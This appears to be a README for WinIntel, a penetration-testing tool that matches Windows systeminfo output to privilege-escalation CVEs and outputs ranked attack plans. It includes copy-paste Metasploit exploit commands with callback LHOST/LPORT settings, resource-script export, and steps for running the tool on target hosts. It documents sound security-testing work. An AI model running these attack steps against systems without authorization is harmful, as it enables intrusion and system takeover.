```
██╗ ██╗██╗███╗ ██╗██╗███╗ ██╗████████╗███████╗██╗
██║ ██║██║████╗ ██║██║████╗ ██║╚══██╔══╝██╔════╝██║
██║ █╗ ██║██║██╔██╗ ██║██║██╔██╗ ██║ ██║ █████╗ ██║
██║███╗██║██║██║╚██╗██║██║██║╚██╗██║ ██║ ██╔══╝ ██║
╚███╔███╔╝██║██║ ╚████║██║██║ ╚████║ ██║ ███████╗███████╗
╚══╝╚══╝ ╚═╝╚═╝ ╚═══╝╚═╝╚═╝ ╚═══╝ ╚═╝ ╚══════╝╚══════╝
Windows Exploit Intelligence · systeminfo.txt → ranked LPE attack plan
118 CVEs · 2003–2026 · XP → Win11 24H2 · Watson + WES-NG accuracy
```
## 为什么不直接使用 Watson 或 WES-NG?
| | Watson | WES-NG | **WinIntel** |
|---|---|---|---|
| 准确度 | Build-range | KB 级别 | **KB + build-range** |
| 漏洞利用情报 | 链接 | 链接 | **MSF · SecWiki · EDB · PoC** |
| 排序的攻击计划 | ✗ | ✗ | **✓ P1 → P3** |
| ITW 标记 | ✗ | ✗ | **✓ (APT · 勒索软件 · DPRK)** |
| 可靠性评级 | ✗ | ✗ | **✓ ★★★★★** |
| Win11 检测 | ✗ | 部分 | **✓ 感知 build** |
| 实时更新 | ✗ | definitions.zip | **✓ `--update`** |
| 仅 LPE 过滤器 | ✗ | ✗ | **✓ `--lpe-only`** |
| KB 去重 | ✗ | ✗ | **✓** |
| EOL build 感知 | ✗ | ✗ | **✓** |
| 独立运行 | .NET | Python + zip | **单个 .py 文件** |
## 快速开始
```
pip install rich
python winintel.py -i systeminfo.txt
```
## OSCP / CTF 工作流
```
# 在目标上 (Windows cmd)
systeminfo > C:\Users\Public\s.txt
# 传到 Kali,然后:
python winintel.py -i s.txt --quick # top 8, zero noise
python winintel.py -i s.txt --lpe-only # all LPE/RCE, no clutter
python winintel.py -i s.txt --lpe-only --msf-only --msf-script attack.rc
msfconsole -q -r attack.rc
# 添加 nmap 确认的服务
python winintel.py -i s.txt --quick --services smb,rdp,print
# 拥有 SeImpersonatePrivilege?(service/IIS shell)
python winintel.py -i s.txt --lpe-only --privilege service
```
## 示例输出(在 BASTARD HTB 上使用 `--quick`)
```
WinIntel v1.0.0 --quick mode
Microsoft Windows Server 2008 R2 Build 7600 Arch X64 HFs 0
CONFIRMED:18 LIKELY:5 (lpe-only · kb-deduped · exploitable · no noise)
── QUICK ATTACK PLAN ──────────────────────────────────────────────
#1 CONF P1 CVE-2012-0178 Great Kernel Driver
SYSRET kernel handler flaw — local SYSTEM (x64 only)
use exploit/windows/local/ms12_042_sysret
set SESSION 1; set LHOST tun0; set LPORT 4444; run
#2 CONF P1 CVE-2016-0099 Excellent Service LPE (ITW)
Secondary Logon service handle LPE — local SYSTEM
use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
set SESSION 1; set LHOST tun0; set LPORT 4444; run
#3 CONF P2 CVE-2017-0213 Great Service LPE
COM aggregate marshaler LPE — SecWiki binary (no recompile)
SecWiki: CVE-2017-0213
```
## 所有参数
| 参数 | 描述 |
|------|-------------|
| `-i / --input FILE` | `systeminfo.txt` 路径(或通过 stdin 管道传入) |
| `--quick` | 显示前 8 个可利用条目,可直接复制粘贴,零噪音 |
| `--lpe-only` | 仅过滤 LPE / RCE 类型(移除 Info/DoS/AuthBypass) |
| `--exploitable-only` | 必须包含 MSF 模块、SecWiki 可执行文件或 EDB 条目 |
| `--msf-only` | 仅显示带有 Metasploit 模块的 CVE |
| `--privilege` | `user`(默认)· `service`(SeImpersonate)· `admin`(UAC bypass) |
| `--services LIST` | `smb,rdp,iis,print,kerberos,rpc,bits` |
| `--category CAT` | `kernel_driver` · `service_lpe` · `print_spooler` · `rce_smb` · ... |
| `--severity SEV` | `CRITICAL` · `HIGH` · `MEDIUM` · `LOW` |
| `--show-manual` | 显示 MANUAL 级别(无法从 systeminfo 验证) |
| `--csv / --json` | 导出结果 |
| `--msf-script FILE` | 导出 Metasploit 资源脚本(`.rc`) |
| `--plain` | 纯文本(无颜色,用于记录日志) |
| `--update` | 从 GitHub 下载最新的 `definitions.json` |
| `--check-update` | 检查是否有可用的更新定义 |
| `--generate-definitions FILE` | 将数据库导出为 `definitions.json` 用于托管 |
| `--db-count` | 显示数据库统计信息 |
| `--version` | 显示版本号 |
## 编译为 .exe(用于直接在目标主机上执行)
```
# 安装 PyInstaller (Windows 或 Wine)
pip install pyinstaller rich
python build.py
# → dist/winintel.exe
# 在目标上:
winintel.exe -i systeminfo.txt --quick
systeminfo | winintel.exe --lpe-only
```
## 实时更新
```
python winintel.py --update # pull latest definitions from GitHub
python winintel.py --check-update # check without downloading
```
当出现新的 CVE 时,无需重新安装脚本即可拉取定义:
```
# (maintainer workflow)
# 编辑 winintel.py 中的 CVE_DB,然后:
python winintel.py --generate-definitions definitions.json
git add definitions.json && git commit -m "Add CVE-XXXX" && git push
# 用户通过以下方式获取:python winintel.py --update
```
## CVE 覆盖范围 (v1.0.0)
**118 个 CVE · 2003–2026 · XP → Win11 24H2**
| 类别 | 数量 | 显著示例 |
|----------|-------|---------|
| Kernel Driver | 62 | Win32k, CLFS, AFD.sys, Hyper-V VSP, appid.sys |
| Service LPE | 15 | Secondary Logon, Task Scheduler, WER |
| SMB RCE | 7 | EternalBlue, EternalRomance, SMBGhost |
| IIS / Web RCE | 6 | WebDAV, ASP.NET |
| Network RCE | 5 | MS03-026, Schannel, Bad Neighbor |
| Print Spooler | 5 | PrintNightmare, CVE-2022-38028 (APT28) |
| NTLM Relay | 3 | Hot Potato, RottenPotato, Outlook |
| Kerberos | 3 | MS14-068, ZeroLogon |
| Kernel Race | 3 | Pool overflow, double-free |
| Cred Access | 3 | HiveNightmare, NTFS info-disclosure |
| 其他 | 5 | Installer LPE, RDP RCE |
**40 个 ITW CVE** — EternalBlue/NSA · Lazarus/DPRK · APT28 · Storm-2460 · Nokoyawa · Black Basta · MysterySnail · PipeMagic
## 准确度模型
```
CONFIRMED → KB identified + NOT in hotfixes → proven vulnerable
LIKELY → build in known vulnerable range → probably vulnerable
MANUAL → cannot verify from systeminfo → use --show-manual
```
自动应用智能过滤器:
- **架构** — 在 x64 目标上隐藏仅限 x86 的 CVE(KiTrap0D、AFD.sys 变种)
- **Build 上限** — 在 Server 2022+ 上过滤掉 2017 年之前的 CVE(该操作系统从未发布过相应的 KB)
- **EOL 感知** — EOL build(Win10 < 1809)上的 2022 年后的 CVE 降级为 LIKELY
- **域检测** — 仅在实际加入域时显示 Kerberos exploit
- **服务门控** — SMB/RDP/print CVE 受 `--services` 参数控制
## 环境要求
- Python 3.7+
- `rich`(可选):`pip install rich`
- 运行时无需互联网连接(除非使用 `--update`)
## 法律声明
仅供**授权**的渗透测试和安全研究使用。
**作者:** [drgoteee](https://github.com/drgoteee) · CPTS · OSCP+
**灵感来源:** Watson (rasta-mouse) · WES-NG (bitsadmin) · SecWiki/windows-kernel-exploits